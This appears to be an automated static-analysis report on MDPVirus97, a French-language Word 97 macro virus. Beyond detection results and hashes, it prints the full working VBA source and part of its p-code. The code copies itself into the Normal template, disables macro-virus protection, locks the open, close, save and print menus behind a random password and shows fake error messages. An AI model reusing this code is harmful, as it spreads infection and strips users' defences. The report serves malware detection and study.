MDPVirus97 — Office (OLE) malware analysis

Static analysis result for SHA-256 511a87ff1a28d489…

MALICIOUS

Office (OLE)

60.5 KB Created: 1998-04-20 10:48:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ab9ba536f47b9c92023a793a6419553e SHA-1: 44e68664e102258db7f4dbb20fe1f8ccc237d689 SHA-256: 511a87ff1a28d4899c88cbc37cf4fc7770d5c2099f3d58610af7097abe491f52
228 Risk Score

Malware Insights

MDPVirus97 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

This document contains legacy WordBasic macro virus markers and a VBA macro named 'MDPVirus97'. The AutoOpen and AutoExec subroutines are designed to execute automatically, with AutoExec displaying a message about password instructions for accessing menus. The AutoNew subroutine attempts to copy itself to the Normal template, indicating a persistence or spreading mechanism. The presence of 'MDPVirus97' in the macro names and the 'ZeMacroKiller' strings strongly suggest this family.

Heuristics 6

  • ClamAV: Doc.Trojan.Mdpvirus-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mdpvirus-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 28433 bytes
SHA-256: 12db93f585273ec709c8273536b431e449700997d1f9f3a0aa9959cc12cf8ee2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "MDPVirus97"
Sub AutoExec()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAE
Dim MyDate
MyDate = Date
DT$ = Mid(MyDate, 1, 2)
If DT$ = "01" Or DT$ = "11" Or DT$ = "21" Or DT$ = "30" Then
    MsgBox "ZeMacroKiller vous dit:" & Chr$(13) & "Mot De Passe pour accéder à certain menu", vbCritical, "MDPVirus 97"
End If
ErrorAE:
End Sub
Sub AutoNew()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAN
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "MDPVirus97" Then
        MDPVirus97Installed = -1
    End If
Next i
If Not MDPVirusInstalled Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="MDPVirus97", Object:=wdOrganizerObjectProjectItems
    MsgBox "HAHAHAHAHA!!!!!", vbCritical, "MDPVirus 97"
Else
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="MDPVirus97", Object:=wdOrganizerObjectProjectItems
End If
ErrorAN:
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAO
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "MDPVirus97" Then
        MDPVirus97Installed = -1
    End If
Next i
If Not MDPVirusInstalled Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="MDPVirus97", Object:=wdOrganizerObjectProjectItems
    MsgBox "Je suis là!!!!!!", vbCritical, "MDPVirus 97"
Else
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="MDPVirus97", Object:=wdOrganizerObjectProjectItems
    ActiveDocument.Save
End If
ErrorAO:
End Sub
Sub FileOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFO
Dim MyDate
MyDate = Date
DT$ = Mid(MyDate, 1, 2)
If DT$ = "01" Then
    Call MDPV97
    MDP$ = InputBox("Pour acceder à ce menu," & Chr$(13) & "Veuillez entrer le mot de passe du jour:", Title:="MDPVirus97")
    WOpen$ = WordBasic.[GetPrivateProfileString$]("MotDePasse", "Valeur", "Win.ini")
    If WOpen$ <> MDP$ Or WOpen$ = "" Then
        MsgBox "MOT DE PASSE INCORRECTE!!!" & Chr$(13) & "Accès Refusé!!!" & Chr$(13) & "HAHAHAHAHA!!!!", vbCritical, "MDPVirus97"
        GoTo Fin
    End If
    If WOpen$ = MDP$ Then
        MsgBox "MOT DE PASSE CORRECTE!!!!" & Chr$(13) & "Impossible...", vbInformation, "MDPVirus97"
        Dialogs(wdDialogFileOpen).Show
    End If
Else
    Dialogs(wdDialogFileOpen).Show
End If
Fin:
ErrorFO:
End Sub
Sub FileClose()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFC
Dim MyDate
MyDate = Date
DT$ = Mid(MyDate, 1, 2)
If DT$ = "11" Then
    Call MDPV97
    MDP$ = InputBox("Pour acceder à ce menu," & Chr$(13) & "Veuillez entrer le mot de passe du jour:", Title:="MDPVirus97")
    WOpen$ = WordBasic.[GetPrivateProfileString$]("MotDePasse", "Valeur", "Win.ini")
    If WOpen$ <> MDP$ Or WOpen$ = "" Then
        MsgBox "MOT DE PASSE INCORRECTE!!!" & Chr$(13) & "Utilisation Impossible!!!" & Chr$(13) & "HAHAHAHAHA!!!!", vbCritical, "MDPVirus97"
        GoTo Fin
    End If
    If WOpen$ = MDP$ Then
        MsgBox "MOT DE PASSE CORRECTE!!!!" & Chr$(13) & "T'es un bon...", vbInformation, "MDPVirus97"
        Application.Run MacroName:="FichierFermer"
    End If
Else
    Application.Run MacroName:="FichierFermer"
End If
Fin:
ErrorFC:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
Dim MyDate
MyDate = Date
DT$ = Mid(MyDate, 1, 2)
If DT$ = "21" Then
    Call MDPV97
    MDP$ = InputBox("Pour acceder à ce menu," & Chr$(13) & "Veuillez entrer le mot de passe du jour:", Title:="MDPVirus97")
    WOpen$ = WordBasic.[GetPrivateProfileString$]("MotDePasse", "Valeur", "Win.ini")
    If WOpen$ <> MDP$ Or WOpen$ = "" Then
        MsgBox "MOT DE PASSE INCORRECTE!!!" & Chr$(13) & "Enregistrement inutilisable!!!" & Chr$(13) & "Dommage pour toi!!!!", vbCritical, "MDPVirus97"
        GoTo Fin
    End If
    If WOpen$ = MDP$ Then
        MsgBox "MOT DE PASSE CORRECTE!!!!" & Chr$(13) & "Mais, COMMENT as tu fait ?...", vbInformation, "MDPVirus97"
        Dialogs(wdDialogFileSaveAs).Show
        If ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate Then
            ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
        End If
    End If
Else
    Dialogs(wdDialogFileSaveAs).Show
    If ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate Then
        ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
    End If
End If
Fin:
ErrorFSA:
End Sub
Sub FilePrint()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFP
Dim MyDate
MyDate = Date
DT$ = Mid(MyDate, 1, 2)
If DT$ = "30" Then
    Call MDPV97
    MDP$ = InputBox("Pour acceder à ce menu," & Chr$(13) & "Veuillez entrer le mot de passe du jour:", Title:="MDPVirus97")
    WOpen$ = WordBasic.[GetPrivateProfileString$]("MotDePasse", "Valeur", "Win.ini")
    If WOpen$ <> MDP$ Or WOpen$ = "" Then
        MsgBox "MOT DE PASSE INCORRECTE!!!" & Chr$(13) & "Menu Impression Inaccessible!!!" & Chr$(13) & "Essai Plus Tard!!!!", vbCritical, "MDPVirus97"
        GoTo Fin
    End If
    If WOpen$ = MDP$ Then
        MsgBox "MOT DE PASSE CORRECTE!!!!" & Chr$(13) & "Impression Autorisé...", vbInformation, "MDPVirus97"
        Dialogs(wdDialogFilePrint).Show
    End If
Else
    Dialogs(wdDialogFilePrint).Show
End If
Fin:
ErrorFP:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFT
    MsgBox "Espace Mémoire Insuffisant.", vbCritical, "Microsoft Word"
ErrorFT:
End Sub
Private Sub MDPV97()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorMDPV97
Randomize
For i = 1 To 8
N$ = Int(Rnd * 15) + 1
If N$ = "1" Then
    Valeur$ = "A"
End If
If N$ = "2" Then
    Valeur$ = "B"
End If
If N$ = "3" Then
    Valeur$ = "C"
End If
If N$ = "4" Then
    Valeur$ = "D"
End If
If N$ = "5" Then
    Valeur$ = "E"
End If
If N$ = "6" Then
    Valeur$ = "F"
End If
If N$ = "7" Then
    Valeur$ = "G"
End If
If N$ = "8" Then
    Valeur$ = "H"
End If
If N$ = "9" Then
    Valeur$ = "I"
End If
If N$ = "10" Then
    Valeur$ = "J"
End If
If N$ = "11" Then
    Valeur$ = "§"
End If
If N$ = "12" Then
    Valeur$ = "*"
End If
If N$ = "13" Then
    Valeur$ = "¤"
End If
If N$ = "14" Then
    Valeur$ = "@"
End If
If N$ = "15" Then
    Valeur$ = "%"
End If
If i = 1 Then a$ = Valeur$
If i = 2 Then b$ = Valeur$
If i = 3 Then c$ = Valeur$
If i = 4 Then d$ = Valeur$
If i = 5 Then e$ = Valeur$
If i = 6 Then f$ = Valeur$
If i = 7 Then g$ = Valeur$
If i = 8 Then h$ = Valeur$
Next i
Total$ = a$ + b$ + c$ + d$ + e$ + f$ + g$ + h$
WordBasic.SetPrivateProfileString "MotDePasse", "Valeur", Total$, "Win.ini"
ErrorMDPV97:
End Sub
Sub ToolsMacro()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorTM
    MsgBox "Une erreur est survenu lors de l'utilisation de cette fonction.", vbCritical, "Microsoft Word"
ErrorTM:
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorVVBC
    MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
ErrorVVBC:
End Sub

' Processing file: /tmp/qstore_q809nwza
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1190 bytes
' Macros/VBA/MDPVirus97 - 20851 bytes
' Line #0:
' 	FuncDefn (Sub AutoExec())
' Line #1:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #2:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #4:
' 	OnError ErrorAE 
' Line #5:
' 	Dim 
' 	VarDefn MyDate
' Line #6:
' 	Ld Date 
' 	St MyDate 
' Line #7:
' 	Ld MyDate 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	St DT$ 
' Line #8:
' 	Ld DT$ 
' 	LitStr 0x0002 "01"
' 	Eq 
' 	Ld DT$ 
' 	LitStr 0x0002 "11"
' 	Eq 
' 	Or 
' 	Ld DT$ 
' 	LitStr 0x0002 "21"
' 	Eq 
' 	Or 
' 	Ld DT$ 
' 	LitStr 0x0002 "30"
' 	Eq 
' 	Or 
' 	IfBlock 
' Line #9:
' 	LitStr 0x0017 "ZeMacroKiller vous dit:"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x0028 "Mot De Passe pour accéder à certain menu"
' 	Concat 
' 	Ld vbCritical 
' 	LitStr 0x000B "MDPVirus 97"
' 	ArgsCall MsgBox 0x0003 
' Line #10:
' 	EndIfBlock 
' Line #11:
' 	Label ErrorAE 
' Line #12:
' 	EndSub 
' Line #13:
' 	FuncDefn (Sub AutoNew())
' Line #14:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #15:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #16:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #17:
' 	OnError ErrorAN 
' Line #18:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #19:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #20:
' 	Ld i 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x000A "MDPVirus97"
' 	Eq 
' 	IfBlock 
' Line #21:
' 	LitDI2 0x0001 
' 	UMi 
' 	St MDPVirus97Installed 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #24:
' 	Ld MDPVirusInstalled 
' 	Not 
' 	IfBlock 
' Line #25:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000A "MDPVirus97"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #26:
' 	LitStr 0x000F "HAHAHAHAHA!!!!!"
' 	Ld vbCritical 
' 	LitStr 0x000B "MDPVirus 97"
' 	ArgsCall MsgBox 0x0003 
' Line #27:
' 	ElseBlock 
' Line #28:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000A "MDPVirus97"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #29:
' 	EndIfBlock 
' Line #30:
' 	Label ErrorAN 
' Line #31:
' 	EndSub 
' Line #32:
' 	FuncDefn (Sub AutoOpen())
' Line #33:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #34:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #35:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #36:
' 	OnError ErrorAO 
' Line #37:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #38:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #39:
' 	Ld i 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x000A "MDPVirus97"
' 	Eq 
' 	IfBlock 
' Line #40:
' 	LitDI2 0x0001 
' 	UMi 
' 	St MDPVirus97Installed 
' Line #41:
' 	EndIfBlock 
' Line #42:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #43:
' 	Ld MDPVirusInstalled 
' 	Not 
' 	IfBlock 
' Line #44:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000A "MDPVirus97"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #45:
' 	LitStr 0x0010 "Je suis là!!!!!!"
' 	Ld vbCritical 
' 	LitStr 0x000B "MDPVirus 97"
' 	ArgsCall MsgBox 0x0003 
' Line #46:
' 	ElseBlock 
' Line #47:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000A "MDPVirus97"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #48:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #49:
' 	EndIfBlock 
' Line #50:
' 	Label ErrorAO 
' Line #51:
' 	EndSub 
' Line #52:
' 	FuncDefn (Sub FileOpen())
' Line #53:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #54:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #55:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #56:
' 	OnError ErrorFO 
' Line #57:
' 	Dim 
' 	VarDefn MyDate
' Line #58:
' 	Ld Date 
' 	St MyDate 
' Line #59:
' 	Ld MyDate 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	St DT$ 
' Line #60:
' 	Ld DT$ 
' 	LitStr 0x0002 "01"
' 	Eq 
' 	IfBlock 
' Line #61:
' 	ArgsCall (Call) MDPV97 0x0000 
' Line #62:
' 	LitStr 0x0017 "Pour acceder à ce menu,"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x0028 "Veuillez entrer le mot de passe du jour:"
' 	Concat 
' 	LitStr 0x000A "MDPVirus97"
' 	ParamNamed Title 
' 	ArgsLd InputBox 0x0002 
' 	St MDP$ 
' Line #63:
' 	LitStr 0x000A "MotDePasse"
' 	LitStr 0x0006 "Valeur"
' 	LitStr 0x0007 "Win.ini"
' 	Ld WordBasic 
' 	ArgsMemLd [GetPrivateProfileString$] 0x0003 
' 	St WOpen$ 
' Line #64:
' 	Ld WOpen$ 
' 	Ld MDP$ 
' 	Ne 
' 	Ld WOpen$ 
' 	LitStr 0x0000 ""
' 	Eq 
' 	Or 
' 	IfBlock 
' Line #65:
' 	LitStr 0x001A "MOT DE PASSE INCORRECTE!!!"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x000F "Accès Refusé!!!"
' 	Concat 
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x000E "HAHAHAHAHA!!!!"
' 	Concat 
' 	Ld vbCritical 
' 	LitStr 0x000A "MDPVirus97"
' 	ArgsCall MsgBox 0x0003 
' Line #66:
' 	GoTo Fin 
' Line #67:
' 	EndIfBlock 
' Line #68:
' 	Ld WOpen$ 
' 	Ld MDP$ 
' 	Eq 
' 	IfBlock 
' Line #69:
' 	LitStr 0x0019 "MOT DE PASSE CORRECTE!!!!"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x000D "Impossible..."
' 	Concat 
' 	Ld vbInformation 
' 	LitStr 0x000A "MDPVirus97"
' 	ArgsCall MsgBox 0x0003 
' Line #70:
' 	Ld wdDialogFileOpen 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #71:
' 	EndIfBlock 
' Line #72:
' 	ElseBlock 
' Line #73:
' 	Ld wdDialogFileOpen 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #74:
' 	EndIfBlock 
' Line #75:
' 	Label Fin 
' Line #76:
' 	Label ErrorFO 
' Line #77:
' 	EndSub 
' Line #78:
' 	FuncDefn (Sub FileClose())
' Line #79:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #80:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #81:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #82:
' 	OnError ErrorFC 
' Line #83:
' 	Dim 
' 	VarDefn MyDate
' Line #84:
' 	Ld Date 
' 	St MyDate 
' Line #85:
' 	Ld MyDate 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	St DT$ 
' Line #86:
' 	Ld DT$ 
' 	LitStr 0x0002 "11"
' 	Eq 
' 	IfBlock 
' Line #87:
' 	ArgsCall (Call) MDPV97 0x0000 
' Line #88:
' 	LitStr 0x0017 "Pour acceder à ce menu,"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x0028 "Veuillez entrer le mot de passe du jour:"
' 	Concat 
' 	LitStr 0x000A "MDPVirus97"
' 	ParamNamed Title 
' 	ArgsLd InputBox 0x0002 
' 	St MDP$ 
' Line #89:
' 	LitStr 0x000A "MotDePasse"
' 	LitStr 0x0006 "Valeur"
' 	LitStr 0x0007 "Win.ini"
' 	Ld WordBasic 
' 	ArgsMemLd [GetPrivateProfileString$] 0x0003 
' 	St WOpen$ 
' Line #90:
' 	Ld WOpen$ 
' 	Ld MDP$ 
' 	Ne 
' 	Ld WOpen$ 
' 	LitStr 0x0000 ""
' 	Eq 
' 	Or 
' 	IfBlock 
' Line #91:
' 	LitStr 0x001A "MOT DE PASSE INCORRECTE!!!"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x0019 "Utilisation Impossible!!!"
' 	Concat 
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x000E "HAHAHAHAHA!!!!"
' 	Concat 
' 	Ld vbCritical 
' 	LitStr 0x000A "MDPVirus97"
' 	ArgsCall MsgBox 0x0003 
' Line #92:
' 	GoTo Fin 
' Line #93:
' 	EndIfBlock 
' Line #94:
' 	Ld WOpen$ 
' 	Ld MDP$ 
' 	Eq 
' 	IfBlock 
' Line #95:
' 	LitStr 0x0019 "MOT DE PASSE CORRECTE!!!!"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x000E "T'es un bon..."
' 	Concat 
' 	Ld vbInformation 
' 	LitStr 0x000A "MDPVirus97"
' 	ArgsCall MsgBox 0x0003 
' Line #96:
' 	LitStr 0x000D "FichierFermer"
' 	ParamNamed MacroName 
' 	Ld Application 
' 	ArgsMemCall Run 0x0001 
' Line #97:
' 	EndIfBlock 
' Line #98:
' 	ElseBlock 
' Line #99:
' 	LitStr 0x000D "FichierFermer"
' 	ParamNamed MacroName 
' 	Ld Application 
' 	ArgsMemCall Run 0x0001 
' Line #100:
' 	EndIfBlock 
' Line #101:
' 	Label Fin 
' Line #102:
' 	Label ErrorFC 
' Line #103:
' 	EndSub 
' Line #104:
' 	FuncDefn (Sub FileSaveAs())
' Line #105:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #106:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #107:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #108:
' 	OnError ErrorFSA 
' Line #109:
' 	Dim 
' 	VarDefn MyDate
' Line #110:
' 	Ld Date 
' 	St MyDate 
' Line #111:
' 	Ld MyDate 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	St DT$ 
' Line #112:
' 	Ld DT$ 
' 	LitStr 0x0002 "21"
' 	Eq 
' 	IfBlock 
' Line #113:
' 	ArgsCall (Call) MDPV97 0x0000 
' Line #114:
' 	LitStr 0x0017 "Pour acceder à ce menu,"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x0028 "Veuillez entrer le mot de passe du jour:"
' 	Concat 
' 	LitStr 0x000A "MDPVirus97"
' 	ParamNamed Title 
' 	ArgsLd InputBox 0x0002 
' 	St MDP$ 
' Line #115:
' 	LitStr 0x000A "MotDePasse"
' 	LitStr 0x0006 "Valeur"
' 	LitStr 0x0007 "Win.ini"
' 	Ld WordBasic 
' 	ArgsMemLd [GetPrivateProfileString$] 0x0003 
' 	St WOpen$ 
' Line #116:
' 	Ld WOpen$ 
' 	Ld MDP$ 
' 	Ne 
' 	Ld WOpen$ 
' 	LitStr 0x0000 ""
' 	Eq 
' 	Or 
' 	IfBlock 
' Line #117:
' 	LitStr 0x001A "MOT DE PASSE INCORRECTE!!!"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x001E "Enregistrement inutilisable!!!"
' 	Concat 
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x0014 "Dommage pour toi!!!!"
' 	Concat 
' 	Ld vbCritical 
' 	LitStr 0x000A "MDPVirus97"
' 	ArgsCall MsgBox 0x0003 
' Line #118:
' 	GoTo Fin 
' Line #119:
' 	EndIfBlock 
' Line #120:
' 	Ld WOpen$ 
' 	Ld MDP$ 
' 	Eq 
' 	IfBlock 
' Line #121:
' 	LitStr 0x0019 "MOT DE PASSE CORRECTE!!!!"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x001D "Mais, COMMENT as tu fait ?..."
' 	Concat 
' 	Ld vbInformation 
' 	LitStr 0x000A "MDPVirus97"
' 	ArgsCall MsgBox 0x0003 
' Line #122:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #123:
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatDocument 
' 	Eq 
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatTemplate 
' 	Eq 
' 	Or 
' 	IfBlock 
' Line #124:
' 	Ld wdFormatTemplate 
' 	ParamNamed FileFormat 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' Line #125:
' 	EndIfBlock 
' Line #126:
' 	EndIfBlock 
' Line #127:
' 	ElseBlock 
' Line #128:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #129:
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatDocument 
' 	Eq 
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatTemplate 
' 	Eq 
' 	Or 
' 	IfBlock 
' Line #130:
' 	Ld wdFormatTemplate 
' 	ParamNamed FileFormat 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' Line #131:
' 	EndIfBlock 
' Line #132:
' 	EndIfBlock 
' Line #133:
' 	Label Fin 
' Line #134:
' 	Label ErrorFSA 
' Line #135:
' 	EndSub 
' Line #136:
' 	FuncDefn (Sub FilePrint())
' Line #137:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #138:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #139:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #140:
' 	OnError ErrorFP 
' Line #141:
' 	Dim 
' 	VarDefn MyDate
' Line #142:
' 	Ld Date 
' 	St MyDate 
' Line #143:
' 	Ld MyDate 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	St DT$ 
' Line #144:
' 	Ld DT$ 
' 	LitStr 0x0002 "30"
' 	Eq 
' 	IfBlock 
' Line #145:
' 	ArgsCall (Call) MDPV97 0x0000 
' Line #146:
' 	LitStr 0x0017 "Pour acceder à ce menu,"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x0028 "Veuillez entrer le mot de passe du jour:"
' 	Concat 
